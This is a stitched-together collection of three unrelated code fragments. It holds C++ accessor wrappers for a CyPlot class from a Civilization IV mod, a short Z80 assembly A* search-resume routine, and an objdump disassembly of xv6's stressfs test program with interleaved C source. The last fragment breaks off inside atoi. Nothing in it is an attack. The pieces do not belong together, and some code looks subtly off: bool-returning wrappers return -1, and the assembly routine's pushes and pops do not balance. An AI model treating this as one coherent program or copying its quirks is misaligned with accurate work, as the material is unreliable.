m_pPlot->setPlotType(eNewValue, bRecalculate, bRebuildGraphics);
}
int /*TerrainTypes*/ CyPlot::getTerrainType()
{
return m_pPlot ? m_pPlot->getTerrainType() : -1;
}
void CyPlot::setTerrainType(int /*TerrainTypes*/ eNewValue, bool bRecalculate, bool bRebuildGraphics)
{
if (m_pPlot)
m_pPlot->setTerrainType((TerrainTypes)eNewValue, bRecalculate, bRebuildGraphics);
}
int /*FeatureTypes*/ CyPlot::getFeatureType()
{
return m_pPlot ? m_pPlot->getFeatureType() : -1;
}
void CyPlot::setFeatureType(int /*FeatureTypes*/ eNewValue, int iVariety)
{
if (m_pPlot)
m_pPlot->setFeatureType((FeatureTypes)eNewValue, iVariety);
}
void CyPlot::setFeatureDummyVisibility(std::string dummyTag, bool show)
{
if(m_pPlot)
m_pPlot->setFeatureDummyVisibility(dummyTag.c_str(), show);
}
void CyPlot::addFeatureDummyModel(std::string dummyTag, std::string modelTag)
{
if(m_pPlot)
m_pPlot->addFeatureDummyModel(dummyTag.c_str(), modelTag.c_str());
}
void CyPlot::setFeatureDummyTexture(std::string dummyTag, std::string textureTag)
{
if(m_pPlot)
m_pPlot->setFeatureDummyTexture(dummyTag.c_str(), textureTag.c_str());
}
std::string CyPlot::pickFeatureDummyTag(int mouseX, int mouseY)
{
if(m_pPlot)
return m_pPlot->pickFeatureDummyTag(mouseX, mouseY);
else
return "";
}
void CyPlot::resetFeatureModel()
{
if(m_pPlot)
m_pPlot->resetFeatureModel();
}
int CyPlot::getFeatureVariety()
{
return m_pPlot ? m_pPlot->getFeatureVariety() : -1;
}
int CyPlot::getOwnershipDuration()
{
return m_pPlot ? m_pPlot->getOwnershipDuration() : -1;
}
bool CyPlot::isOwnershipScore()
{
return m_pPlot ? m_pPlot->isOwnershipScore() : false;
}
void CyPlot::setOwnershipDuration(int iNewValue)
{
if (m_pPlot)
m_pPlot->setOwnershipDuration(iNewValue);
}
void CyPlot::changeOwnershipDuration(int iChange)
{
if (m_pPlot)
m_pPlot->changeOwnershipDuration(iChange);
}
int CyPlot::getImprovementDuration()
{
return m_pPlot ? m_pPlot->getImprovementDuration() : -1;
}
void CyPlot::setImprovementDuration(int iNewValue)
{
if (m_pPlot)
m_pPlot->setImprovementDuration(iNewValue);
}
void CyPlot::changeImprovementDuration(int iChange)
{
if (m_pPlot)
m_pPlot->changeImprovementDuration(iChange);
}
int /* BonusTypes */ CyPlot::getBonusType(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->getBonusType((TeamTypes)eTeam) : -1;
}
int /* BonusTypes */ CyPlot::getNonObsoleteBonusType(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->getNonObsoleteBonusType((TeamTypes)eTeam) : -1;
}
void CyPlot::setBonusType(int /* BonusTypes */ eNewValue)
{
if (m_pPlot)
m_pPlot->setBonusType((BonusTypes)eNewValue);
}
int /* ImprovementTypes */ CyPlot::getImprovementType()
{
return m_pPlot ? m_pPlot->getImprovementType() : -1;
}
void CyPlot::setImprovementType(int /* ImprovementTypes */ eNewValue)
{
if (m_pPlot)
m_pPlot->setImprovementType((ImprovementTypes)eNewValue);
}
int /* RouteTypes */ CyPlot::getRouteType()
{
return m_pPlot ? m_pPlot->getRouteType() : -1;
}
void CyPlot::setRouteType(int /*RouteTypes*/ eNewValue)
{
if (m_pPlot)
m_pPlot->setRouteType((RouteTypes) eNewValue, true);
}
CyCity* CyPlot::getPlotCity()
{
return m_pPlot ? new CyCity(m_pPlot->getPlotCity()) : NULL;
}
CyCity* CyPlot::getWorkingCity()
{
return m_pPlot ? new CyCity(m_pPlot->getWorkingCity()) : NULL;
}
CyCity* CyPlot::getWorkingCityOverride()
{
return m_pPlot ? new CyCity(m_pPlot->getWorkingCityOverride()) : NULL;
}
int CyPlot::getRiverID() const
{
return m_pPlot ? m_pPlot->getRiverID() : -1;
}
void CyPlot::setRiverID(int iNewValue)
{
if (m_pPlot)
m_pPlot->setRiverID(iNewValue);
}
int CyPlot::getMinOriginalStartDist()
{
return m_pPlot ? m_pPlot->getMinOriginalStartDist() : -1;
}
int CyPlot::getReconCount()
{
return m_pPlot ? m_pPlot->getReconCount() : -1;
}
int CyPlot::getRiverCrossingCount()
{
return m_pPlot ? m_pPlot->getRiverCrossingCount() : -1;
}
int CyPlot::getYield(YieldTypes eIndex)
{
return m_pPlot ? m_pPlot->getYield(eIndex) : -1;
}
int CyPlot::calculateNatureYield(YieldTypes eIndex, TeamTypes eTeam, bool bIgnoreFeature)
{
return m_pPlot ? m_pPlot->calculateNatureYield(eIndex, eTeam, bIgnoreFeature) : -1;
}
int CyPlot::calculateBestNatureYield(YieldTypes eIndex, TeamTypes eTeam)
{
return m_pPlot ? m_pPlot->calculateBestNatureYield(eIndex, eTeam) : -1;
}
int CyPlot::calculateTotalBestNatureYield(TeamTypes eTeam)
{
return m_pPlot ? m_pPlot->calculateTotalBestNatureYield(eTeam) : -1;
}
int CyPlot::calculateImprovementYieldChange(int /*ImprovementTypes*/ eImprovement, YieldTypes eYield, int /*PlayerTypes*/ ePlayer, bool bOptimal)
{
return m_pPlot ? m_pPlot->calculateImprovementYieldChange((ImprovementTypes) eImprovement, eYield, (PlayerTypes) ePlayer, bOptimal) : -1;
}
int CyPlot::calculateYield(YieldTypes eIndex, bool bDisplay)
{
return m_pPlot ? m_pPlot->calculateYield(eIndex, bDisplay) : -1;
}
bool CyPlot::hasYield()
{
return m_pPlot ? m_pPlot->hasYield() : false;
}
int CyPlot::getCulture(int /*PlayerTypes*/ eIndex)
{
return m_pPlot ? m_pPlot->getCulture((PlayerTypes)eIndex) : -1;
}
int CyPlot::countTotalCulture()
{
return m_pPlot ? m_pPlot->countTotalCulture() : -1;
}
int /*TeamTypes*/ CyPlot::findHighestCultureTeam()
{
return m_pPlot ? m_pPlot->findHighestCultureTeam() : -1;
}
int CyPlot::calculateCulturePercent(int /*PlayerTypes*/ eIndex)
{
return m_pPlot ? m_pPlot->calculateCulturePercent((PlayerTypes)eIndex) : -1;
}
int CyPlot::calculateTeamCulturePercent(int /*TeamTypes*/ eIndex)
{
return m_pPlot ? m_pPlot->calculateTeamCulturePercent((TeamTypes)eIndex) : -1;
}
void CyPlot::setCulture(int /*PlayerTypes*/ eIndex, int iChange, bool bUpdate)
{
if (m_pPlot)
m_pPlot->setCulture((PlayerTypes)eIndex, iChange, bUpdate, true);
}
void CyPlot::changeCulture(int /*PlayerTypes*/ eIndex, int iChange, bool bUpdate)
{
if (m_pPlot)
m_pPlot->changeCulture((PlayerTypes)eIndex, iChange, bUpdate);
}
int CyPlot::countNumAirUnits(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->countNumAirUnits((TeamTypes)eTeam) : -1;
}
int CyPlot::getFoundValue(int /*PlayerTypes*/ eIndex)
{
return m_pPlot ? m_pPlot->getFoundValue((PlayerTypes)eIndex) : -1;
}
bool CyPlot::isBestAdjacentFound(int /*PlayerTypes*/ eIndex)
{
return m_pPlot ? m_pPlot->isBestAdjacentFound((PlayerTypes)eIndex) : false;
}
int CyPlot::getPlayerCityRadiusCount(int /*PlayerTypes*/ eIndex)
{
return m_pPlot ? m_pPlot->getPlayerCityRadiusCount((PlayerTypes)eIndex) : -1;
}
bool CyPlot::isPlayerCityRadius(int /*PlayerTypes*/ eIndex)
{
return m_pPlot ? m_pPlot->isPlayerCityRadius((PlayerTypes)eIndex) : false;
}
int CyPlot::getVisibilityCount(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->getVisibilityCount((TeamTypes)eTeam) : -1;
}
void CyPlot::changeVisibilityCount(int /*TeamTypes*/ eTeam, int iChange, int /*InvisibleTypes*/ eSeeInvisible)
{
if (m_pPlot)
m_pPlot->changeVisibilityCount((TeamTypes) eTeam, iChange, (InvisibleTypes) eSeeInvisible, true);
}
int CyPlot::getStolenVisibilityCount(int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->getStolenVisibilityCount((TeamTypes)eTeam) : -1;
}
int /*PlayerTypes*/ CyPlot::getRevealedOwner(int /*TeamTypes*/ eTeam, bool bDebug)
{
return m_pPlot ? m_pPlot->getRevealedOwner((TeamTypes)eTeam, bDebug) : -1;
}
int /*TeamTypes*/ CyPlot::getRevealedTeam(int /*TeamTypes*/ eTeam, bool bDebug)
{
return m_pPlot ? m_pPlot->getRevealedTeam((TeamTypes)eTeam, bDebug) : -1;
}
bool CyPlot::isRiverCrossing(DirectionTypes eIndex)
{
return m_pPlot ? m_pPlot->isRiverCrossing(eIndex) : false;
}
bool CyPlot::isRevealed(int /*TeamTypes*/ eTeam, bool bDebug)
{
return m_pPlot ? m_pPlot->isRevealed((TeamTypes)eTeam, bDebug) : false;
}
void CyPlot::setRevealed(int /*TeamTypes*/ eTeam, bool bNewValue, bool bTerrainOnly, int /*TeamTypes*/ eFromTeam)
{
if (m_pPlot)
m_pPlot->setRevealed((TeamTypes)eTeam, bNewValue, bTerrainOnly, (TeamTypes)eFromTeam, true);
}
int /* ImprovementTypes */ CyPlot::getRevealedImprovementType(int /*TeamTypes*/ eTeam, bool bDebug)
{
return m_pPlot ? m_pPlot->getRevealedImprovementType((TeamTypes)eTeam, bDebug) : -1;
}
int /* RouteTypes */ CyPlot::getRevealedRouteType(int /*TeamTypes*/ eTeam, bool bDebug)
{
return m_pPlot ? m_pPlot->getRevealedRouteType((TeamTypes)eTeam, bDebug) : -1;
}
int CyPlot::getBuildProgress(int /*BuildTypes*/ eBuild)
{
return m_pPlot ? m_pPlot->getBuildProgress((BuildTypes)eBuild) : -1;
}
bool CyPlot::changeBuildProgress(int /*BuildTypes*/ eBuild, int iChange, int /*TeamTypes*/ eTeam)
{
return m_pPlot ? m_pPlot->changeBuildProgress((BuildTypes)eBuild, iChange, (TeamTypes)eTeam) : false;
}
int CyPlot::getCultureRangeCities(int /*PlayerTypes*/ eOwnerIndex, int iRangeIndex)
{
return m_pPlot ? m_pPlot->getCultureRangeCities((PlayerTypes) eOwnerIndex, iRangeIndex) : -1;
}
bool CyPlot::isCultureRangeCity(int /*PlayerTypes*/ eOwnerIndex, int iRangeIndex)
{
return m_pPlot ? m_pPlot->isCultureRangeCity((PlayerTypes) eOwnerIndex, iRangeIndex) : false;
}
int CyPlot::getInvisibleVisibilityCount(int /*TeamTypes*/ eTeam, int /*InvisibleTypes*/ eInvisible)
{
return m_pPlot ? m_pPlot->getInvisibleVisibilityCount((TeamTypes) eTeam, (InvisibleTypes) eInvisible) : -1;
}
bool CyPlot::isInvisibleVisible(int /*TeamTypes*/ eTeam, int /*InvisibleTypes*/ eInvisible)
{
return m_pPlot ? m_pPlot->isInvisibleVisible((TeamTypes) eTeam, (InvisibleTypes) eInvisible) : -1;
}
void CyPlot::changeInvisibleVisibilityCount(int /*TeamTypes*/ eTeam, int /*InvisibleTypes*/ eInvisible, int iChange)
{
if (m_pPlot)
m_pPlot->changeInvisibleVisibilityCount((TeamTypes) eTeam, (InvisibleTypes) eInvisible, iChange);
}
int CyPlot::getNumUnits()
{
return m_pPlot ? m_pPlot->getNumUnits() : -1;
}
CyUnit* CyPlot::getUnit(int iIndex)
{
return m_pPlot ? new CyUnit(m_pPlot->getUnitByIndex(iIndex)) : NULL;
}
std::string CyPlot::getScriptData() const
{
return m_pPlot ? m_pPlot->getScriptData() : "";
}
void CyPlot::setScriptData(std::string szNewValue)
{
if (m_pPlot)
m_pPlot->setScriptData(szNewValue.c_str());
}
//Leoreth
int CyPlot::getRegionID()
{
return m_pPlot ? m_pPlot->getRegionID() : -1;
}
void CyPlot::setRegionID(int iNewValue)
{
if (m_pPlot)
m_pPlot->setRegionID(iNewValue);
}
bool CyPlot::isCore(int ePlayer)
{
return m_pPlot ? m_pPlot->isCore((PlayerTypes)ePlayer) : -1;
}
void CyPlot::setCore(int ePlayer, bool bNewValue)
{
if (m_pPlot)
m_pPlot->setCore((PlayerTypes)ePlayer, bNewValue);
}
int CyPlot::getSettlerValue(int ePlayer)
{
return m_pPlot ? m_pPlot->getSettlerValue((PlayerTypes)ePlayer) : -1;
}
void CyPlot::setSettlerValue(int ePlayer, int iNewValue)
{
if (m_pPlot)
m_pPlot->setSettlerValue((PlayerTypes)ePlayer, iNewValue);
}
int CyPlot::getWarValue(int ePlayer)
{
return m_pPlot ? m_pPlot->getWarValue((PlayerTypes)ePlayer) : -1;
}
void CyPlot::setWarValue(int ePlayer, int iNewValue)
{
if (m_pPlot)
m_pPlot->setWarValue((PlayerTypes)ePlayer, iNewValue);
}
int CyPlot::getSpreadFactor(int eReligion)
{
return m_pPlot ? m_pPlot->getSpreadFactor((ReligionTypes)eReligion) : -1;
}
void CyPlot::setSpreadFactor(int eReligion, int iNewValue)
{
if (m_pPlot)
m_pPlot->setSpreadFactor((ReligionTypes)eReligion, iNewValue);
}
bool CyPlot::isWithinGreatWall()
{
return m_pPlot ? m_pPlot->isWithinGreatWall() : -1;
}
void CyPlot::setWithinGreatWall(bool bNewValue)
{
if (m_pPlot)
m_pPlot->setWithinGreatWall(bNewValue);
}
void CyPlot::cameraLookAt()
{
if (m_pPlot) m_pPlot->cameraLookAt();
}
int CyPlot::calculateOverallCulturePercent(int ePlayer)
{
return m_pPlot ? m_pPlot->calculateOverallCulturePercent((PlayerTypes)ePlayer) : 0;
}
void CyPlot::updateCulture()
{
if (m_pPlot) m_pPlot->updateCulture(true, true);
}
void CyPlot::setCultureConversion(int ePlayer, int iRate)
{
if (m_pPlot) m_pPlot->setCultureConversion((PlayerTypes)ePlayer, iRate);
}
void CyPlot::resetCultureConversion()
{
if (m_pPlot) m_pPlot->resetCultureConversion();
}
int CyPlot::getCultureConversionPlayer()
{
return m_pPlot ? m_pPlot->getCultureConversionPlayer() : -1;
}
int CyPlot::getActualCulture(int ePlayer)
{
return m_pPlot ? m_pPlot->getActualCulture((PlayerTypes)ePlayer) : -1;
} |
; struct astar_path __FASTCALL__ *astar_SearchResume(struct astar_path *p)
; resume a search previously stopped
; 01.2007 aralbrec
SECTION code_clib
PUBLIC astar_SearchResume
PUBLIC _astar_SearchResume
EXTERN astar_Search
EXTERN ASMDISP_ASTAR_SEARCH_RESUME_SUCCESS, ASMDISP_ASTAR_SEARCH_RESUME_FAIL
; enter : hl = path to start search with
; if 0, search not resumed from path but from queue
.astar_SearchResume
._astar_SearchResume
push ix
ld a,h
or l
jr nz,astar_SearchResume_ResumeFail
push ix
call astar_Search + ASMDISP_ASTAR_SEARCH_RESUME_SUCCESS
pop ix
ret
.astar_SearchResume_ResumeFail
call astar_Search + ASMDISP_ASTAR_SEARCH_RESUME_FAIL
pop ix
ret
|
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: f3 0f 1e fb endbr32
4: 8d 4c 24 04 lea 0x4(%esp),%ecx
8: 83 e4 f0 and $0xfffffff0,%esp
int fd, i;
char path[] = "stressfs0";
b: b8 30 00 00 00 mov $0x30,%eax
{
10: ff 71 fc pushl -0x4(%ecx)
13: 55 push %ebp
14: 89 e5 mov %esp,%ebp
16: 57 push %edi
17: 56 push %esi
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
18: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi
{
1e: 53 push %ebx
for(i = 0; i < 4; i++)
1f: 31 db xor %ebx,%ebx
{
21: 51 push %ecx
22: 81 ec 20 02 00 00 sub $0x220,%esp
char path[] = "stressfs0";
28: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp)
printf(1, "stressfs starting\n");
2f: 68 28 09 00 00 push $0x928
34: 6a 01 push $0x1
char path[] = "stressfs0";
36: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp)
3d: 74 72 65
40: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp)
47: 73 66 73
printf(1, "stressfs starting\n");
4a: e8 11 07 00 00 call 760 <printf>
memset(data, 'a', sizeof(data));
4f: 83 c4 0c add $0xc,%esp
52: 68 00 02 00 00 push $0x200
57: 6a 61 push $0x61
59: 56 push %esi
5a: e8 a1 01 00 00 call 200 <memset>
5f: 83 c4 10 add $0x10,%esp
if(fork() > 0)
62: e8 7e 05 00 00 call 5e5 <fork>
67: 85 c0 test %eax,%eax
69: 0f 8f bb 00 00 00 jg 12a <main+0x12a>
for(i = 0; i < 4; i++)
6f: 83 c3 01 add $0x1,%ebx
72: 83 fb 04 cmp $0x4,%ebx
75: 75 eb jne 62 <main+0x62>
77: bf 04 00 00 00 mov $0x4,%edi
break;
printf(1, "write %d\n", i);
7c: 83 ec 04 sub $0x4,%esp
7f: 53 push %ebx
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
80: bb 14 00 00 00 mov $0x14,%ebx
printf(1, "write %d\n", i);
85: 68 3b 09 00 00 push $0x93b
8a: 6a 01 push $0x1
8c: e8 cf 06 00 00 call 760 <printf>
path[8] += i;
91: 89 f8 mov %edi,%eax
fd = open(path, O_CREATE | O_RDWR);
93: 5f pop %edi
path[8] += i;
94: 00 85 e6 fd ff ff add %al,-0x21a(%ebp)
fd = open(path, O_CREATE | O_RDWR);
9a: 58 pop %eax
9b: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
a1: 68 02 02 00 00 push $0x202
a6: 50 push %eax
a7: e8 81 05 00 00 call 62d <open>
ac: 83 c4 10 add $0x10,%esp
af: 89 c7 mov %eax,%edi
for(i = 0; i < 20; i++)
b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
b8: 83 ec 04 sub $0x4,%esp
bb: 68 00 02 00 00 push $0x200
c0: 56 push %esi
c1: 57 push %edi
c2: e8 46 05 00 00 call 60d <write>
for(i = 0; i < 20; i++)
c7: 83 c4 10 add $0x10,%esp
ca: 83 eb 01 sub $0x1,%ebx
cd: 75 e9 jne b8 <main+0xb8>
close(fd);
cf: 83 ec 0c sub $0xc,%esp
d2: 57 push %edi
d3: e8 3d 05 00 00 call 615 <close>
printf(1, "read\n");
d8: 58 pop %eax
d9: 5a pop %edx
da: 68 45 09 00 00 push $0x945
df: 6a 01 push $0x1
e1: e8 7a 06 00 00 call 760 <printf>
fd = open(path, O_RDONLY);
e6: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
ec: 59 pop %ecx
ed: 5b pop %ebx
ee: 6a 00 push $0x0
f0: bb 14 00 00 00 mov $0x14,%ebx
f5: 50 push %eax
f6: e8 32 05 00 00 call 62d <open>
fb: 83 c4 10 add $0x10,%esp
fe: 89 c7 mov %eax,%edi
for (i = 0; i < 20; i++)
read(fd, data, sizeof(data));
100: 83 ec 04 sub $0x4,%esp
103: 68 00 02 00 00 push $0x200
108: 56 push %esi
109: 57 push %edi
10a: e8 f6 04 00 00 call 605 <read>
for (i = 0; i < 20; i++)
10f: 83 c4 10 add $0x10,%esp
112: 83 eb 01 sub $0x1,%ebx
115: 75 e9 jne 100 <main+0x100>
close(fd);
117: 83 ec 0c sub $0xc,%esp
11a: 57 push %edi
11b: e8 f5 04 00 00 call 615 <close>
wait();
120: e8 d0 04 00 00 call 5f5 <wait>
exit();
125: e8 c3 04 00 00 call 5ed <exit>
12a: 89 df mov %ebx,%edi
12c: e9 4b ff ff ff jmp 7c <main+0x7c>
131: 66 90 xchg %ax,%ax
133: 66 90 xchg %ax,%ax
135: 66 90 xchg %ax,%ax
137: 66 90 xchg %ax,%ax
139: 66 90 xchg %ax,%ax
13b: 66 90 xchg %ax,%ax
13d: 66 90 xchg %ax,%ax
13f: 90 nop
00000140 <strcpy>:
};
char*
strcpy(char *s, const char *t)
{
140: f3 0f 1e fb endbr32
144: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
145: 31 c0 xor %eax,%eax
{
147: 89 e5 mov %esp,%ebp
149: 53 push %ebx
14a: 8b 4d 08 mov 0x8(%ebp),%ecx
14d: 8b 5d 0c mov 0xc(%ebp),%ebx
while((*s++ = *t++) != 0)
150: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
154: 88 14 01 mov %dl,(%ecx,%eax,1)
157: 83 c0 01 add $0x1,%eax
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strcpy+0x10>
;
return os;
}
15e: 89 c8 mov %ecx,%eax
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
16a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000170 <strcmp>:
int
strcmp(const char *p, const char *q)
{
170: f3 0f 1e fb endbr32
174: 55 push %ebp
175: 89 e5 mov %esp,%ebp
177: 53 push %ebx
178: 8b 4d 08 mov 0x8(%ebp),%ecx
17b: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
17e: 0f b6 01 movzbl (%ecx),%eax
181: 0f b6 1a movzbl (%edx),%ebx
184: 84 c0 test %al,%al
186: 75 19 jne 1a1 <strcmp+0x31>
188: eb 26 jmp 1b0 <strcmp+0x40>
18a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
190: 0f b6 41 01 movzbl 0x1(%ecx),%eax
p++, q++;
194: 83 c1 01 add $0x1,%ecx
197: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
19a: 0f b6 1a movzbl (%edx),%ebx
19d: 84 c0 test %al,%al
19f: 74 0f je 1b0 <strcmp+0x40>
1a1: 38 d8 cmp %bl,%al
1a3: 74 eb je 190 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
1a5: 29 d8 sub %ebx,%eax
}
1a7: 5b pop %ebx
1a8: 5d pop %ebp
1a9: c3 ret
1aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1b0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
1b2: 29 d8 sub %ebx,%eax
}
1b4: 5b pop %ebx
1b5: 5d pop %ebp
1b6: c3 ret
1b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1be: 66 90 xchg %ax,%ax
000001c0 <strlen>:
uint
strlen(const char *s)
{
1c0: f3 0f 1e fb endbr32
1c4: 55 push %ebp
1c5: 89 e5 mov %esp,%ebp
1c7: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
1ca: 80 3a 00 cmpb $0x0,(%edx)
1cd: 74 21 je 1f0 <strlen+0x30>
1cf: 31 c0 xor %eax,%eax
1d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1d8: 83 c0 01 add $0x1,%eax
1db: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
1df: 89 c1 mov %eax,%ecx
1e1: 75 f5 jne 1d8 <strlen+0x18>
;
return n;
}
1e3: 89 c8 mov %ecx,%eax
1e5: 5d pop %ebp
1e6: c3 ret
1e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1ee: 66 90 xchg %ax,%ax
for(n = 0; s[n]; n++)
1f0: 31 c9 xor %ecx,%ecx
}
1f2: 5d pop %ebp
1f3: 89 c8 mov %ecx,%eax
1f5: c3 ret
1f6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1fd: 8d 76 00 lea 0x0(%esi),%esi
00000200 <memset>:
void*
memset(void *dst, int c, uint n)
{
200: f3 0f 1e fb endbr32
204: 55 push %ebp
205: 89 e5 mov %esp,%ebp
207: 57 push %edi
208: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
20b: 8b 4d 10 mov 0x10(%ebp),%ecx
20e: 8b 45 0c mov 0xc(%ebp),%eax
211: 89 d7 mov %edx,%edi
213: fc cld
214: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
216: 89 d0 mov %edx,%eax
218: 5f pop %edi
219: 5d pop %ebp
21a: c3 ret
21b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
21f: 90 nop
00000220 <strchr>:
char*
strchr(const char *s, char c)
{
220: f3 0f 1e fb endbr32
224: 55 push %ebp
225: 89 e5 mov %esp,%ebp
227: 8b 45 08 mov 0x8(%ebp),%eax
22a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
22e: 0f b6 10 movzbl (%eax),%edx
231: 84 d2 test %dl,%dl
233: 75 16 jne 24b <strchr+0x2b>
235: eb 21 jmp 258 <strchr+0x38>
237: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
23e: 66 90 xchg %ax,%ax
240: 0f b6 50 01 movzbl 0x1(%eax),%edx
244: 83 c0 01 add $0x1,%eax
247: 84 d2 test %dl,%dl
249: 74 0d je 258 <strchr+0x38>
if(*s == c)
24b: 38 d1 cmp %dl,%cl
24d: 75 f1 jne 240 <strchr+0x20>
return (char*)s;
return 0;
}
24f: 5d pop %ebp
250: c3 ret
251: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
258: 31 c0 xor %eax,%eax
}
25a: 5d pop %ebp
25b: c3 ret
25c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000260 <gets>:
char*
gets(char *buf, int max)
{
260: f3 0f 1e fb endbr32
264: 55 push %ebp
265: 89 e5 mov %esp,%ebp
267: 57 push %edi
268: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
269: 31 f6 xor %esi,%esi
{
26b: 53 push %ebx
26c: 89 f3 mov %esi,%ebx
26e: 83 ec 1c sub $0x1c,%esp
271: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
274: eb 33 jmp 2a9 <gets+0x49>
276: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
27d: 8d 76 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
280: 83 ec 04 sub $0x4,%esp
283: 8d 45 e7 lea -0x19(%ebp),%eax
286: 6a 01 push $0x1
288: 50 push %eax
289: 6a 00 push $0x0
28b: e8 75 03 00 00 call 605 <read>
if(cc < 1)
290: 83 c4 10 add $0x10,%esp
293: 85 c0 test %eax,%eax
295: 7e 1c jle 2b3 <gets+0x53>
break;
buf[i++] = c;
297: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
29b: 83 c7 01 add $0x1,%edi
29e: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
2a1: 3c 0a cmp $0xa,%al
2a3: 74 23 je 2c8 <gets+0x68>
2a5: 3c 0d cmp $0xd,%al
2a7: 74 1f je 2c8 <gets+0x68>
for(i=0; i+1 < max; ){
2a9: 83 c3 01 add $0x1,%ebx
2ac: 89 fe mov %edi,%esi
2ae: 3b 5d 0c cmp 0xc(%ebp),%ebx
2b1: 7c cd jl 280 <gets+0x20>
2b3: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
2b5: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
2b8: c6 03 00 movb $0x0,(%ebx)
}
2bb: 8d 65 f4 lea -0xc(%ebp),%esp
2be: 5b pop %ebx
2bf: 5e pop %esi
2c0: 5f pop %edi
2c1: 5d pop %ebp
2c2: c3 ret
2c3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2c7: 90 nop
2c8: 8b 75 08 mov 0x8(%ebp),%esi
2cb: 8b 45 08 mov 0x8(%ebp),%eax
2ce: 01 de add %ebx,%esi
2d0: 89 f3 mov %esi,%ebx
buf[i] = '\0';
2d2: c6 03 00 movb $0x0,(%ebx)
}
2d5: 8d 65 f4 lea -0xc(%ebp),%esp
2d8: 5b pop %ebx
2d9: 5e pop %esi
2da: 5f pop %edi
2db: 5d pop %ebp
2dc: c3 ret
2dd: 8d 76 00 lea 0x0(%esi),%esi
000002e0 <stat>:
int
stat(const char *n, struct stat *st)
{
2e0: f3 0f 1e fb endbr32
2e4: 55 push %ebp
2e5: 89 e5 mov %esp,%ebp
2e7: 56 push %esi
2e8: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
2e9: 83 ec 08 sub $0x8,%esp
2ec: 6a 00 push $0x0
2ee: ff 75 08 pushl 0x8(%ebp)
2f1: e8 37 03 00 00 call 62d <open>
if(fd < 0)
2f6: 83 c4 10 add $0x10,%esp
2f9: 85 c0 test %eax,%eax
2fb: 78 2b js 328 <stat+0x48>
return -1;
r = fstat(fd, st);
2fd: 83 ec 08 sub $0x8,%esp
300: ff 75 0c pushl 0xc(%ebp)
303: 89 c3 mov %eax,%ebx
305: 50 push %eax
306: e8 3a 03 00 00 call 645 <fstat>
close(fd);
30b: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
30e: 89 c6 mov %eax,%esi
close(fd);
310: e8 00 03 00 00 call 615 <close>
return r;
315: 83 c4 10 add $0x10,%esp
}
318: 8d 65 f8 lea -0x8(%ebp),%esp
31b: 89 f0 mov %esi,%eax
31d: 5b pop %ebx
31e: 5e pop %esi
31f: 5d pop %ebp
320: c3 ret
321: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
328: be ff ff ff ff mov $0xffffffff,%esi
32d: eb e9 jmp 318 <stat+0x38>
32f: 90 nop
00000330 <atoi>:
int
atoi(const char *s)
{
330: f3 0f 1e fb endbr32
334: 55 push %ebp
335: 89 e5 mov %esp,%ebp
337: 53 push %ebx
338: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
33b: 0f be 02 movsbl (%edx),%eax
33e: 8d 48 d0 lea -0x30(%eax),%ecx
341: 80 f9 09 cmp $0x9,%cl
n = 0;
344: b9 00 00 00 00 mov $0x0,%ecx
